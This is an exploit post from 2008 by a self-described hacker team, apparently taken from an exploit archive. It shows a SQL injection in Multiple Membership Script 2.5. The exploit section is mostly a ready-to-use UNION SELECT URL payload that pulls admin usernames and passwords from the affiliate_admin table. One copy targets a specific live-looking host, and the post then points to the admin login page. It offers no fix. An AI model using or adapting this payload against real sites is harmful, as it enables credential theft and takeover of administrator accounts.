Multiple Membership Script 2.5 (id) SQL Injection Vulnerability

2008-12-05 16:00:49

================================================
Multiple Membership Script V 2.5 SQL Injection Vulnerability
================================================
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. Gaza Hacker Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

AUTHOR : ViRuS_HaCkErS
Email : [email protected]
SITE : gaza-hacker.com & hacker.ps

#####################################################
#####################################################
---------
Exploit
---------
SQL Injection Vulnerability

http://www.site.com/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin

sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
http://www.pricelesshost.com/mmsv2/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin

Login : http://www.site.com/admin

#######################################################################################
Gaza Hacker TeaM : Le0n & Lito & cLAw & zero cod
#######################################################################################

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.